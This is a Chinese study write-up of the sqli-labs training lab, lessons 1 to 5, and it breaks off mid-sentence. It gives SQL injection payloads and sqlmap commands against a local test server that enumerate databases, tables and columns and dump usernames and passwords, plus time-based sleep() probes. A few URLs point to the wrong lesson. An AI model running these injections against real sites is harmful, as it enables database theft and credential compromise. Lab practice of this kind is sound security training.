sqli-labs学习笔记(Less1-Less24)

Less-1 GET - Error based - Single quotes - String

select … from … where id=’$id’

基于union联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=0’

报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ order by 3–+

• 爆出数据库名
  http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,database()–+

• 爆出表名
  http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

• 爆出列名
  http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=“users”–+

• 爆出字段
  http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+

(0x3a:0x是十六进制标志，3a是十进制的58，是ascii中的 ‘:’ ，用以分割pasword和username)

使用sqlmap跑：

sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” --current-db

• 跑出当前数据库

sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security --tables

• 爆出表名

sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users --columns

• 爆出列名

sqlmap -u “127.0.0.1/sqli-labs-master/Less-1/?id=1” -D security -T users -C id,password,username --dump

• 爆出字段
  

Less-2 GET - Error based - Intiger based

当输入id=1‘值时，发现所输入的id值全部都带入进去了

猜测出：select … from … where id=$id
所以，将id=1’中的单引号去掉，然后按less-1的步骤进行报表即可
Payload：

• 爆出数据库栏位，回显错误说明输入栏位大了，回显正确说明栏位小雨或等于此栏位
  http://127.0.0.1/sqli-labs-master/Less-3/?id=1 order by 3–+

• 爆出数据库名
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,database()–+

• 爆出表名
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

• 爆出列名
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=“users”–+

http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,group_concat(username,0x3a,password) from users–+

Less-3 GET - Error based - Single quotes with twist string

当输入id=1’值时，发现输出的报错会自动加上一个右括号

猜测出：select … from … where id=(’$id’)
，所以，将id=1’中的单引号去掉，然后按less-1的步骤进行报表即可
Payload：

• 爆出数据库栏位
  http://127.0.0.1/sqli-labs-master/Less-3/?id=1’)order by 5 --+

• 爆出数据库名
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,database()–+

• 爆出表名
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

• 爆出列名
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=“users”–+

• 爆出字段
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0’) union select 1,2,group_concat(username,0x3a,password) from users–+

Less-4 GET - Error based - Double Quotes - String

当输入id=1’值时，发现不报错，输入id=1”

猜测出：select … from … where id=("$id")
一一
Payload：

• 爆出数据库栏位
  http://127.0.0.1/sqli-labs-master/Less-3/?id=1”) order by 3 --+

• 爆出数据库名

http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()–+

• 爆出表名：
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+

• 爆出列名：
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=“users”–+

• 爆出字段：
  http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(username,0x3a,password) from users–+

Less-5 GET - Double Injection - Single Quotes - String

当输入id=1’时出现

猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种，构造时间延迟盲注payload：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)–+

发现有明显延迟，说明其是时间延迟注入类型，构造爆破Payload：
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5) order by 3–+

时间延迟型手工注入，正确会延迟，错误没有延迟。
本方法中payloa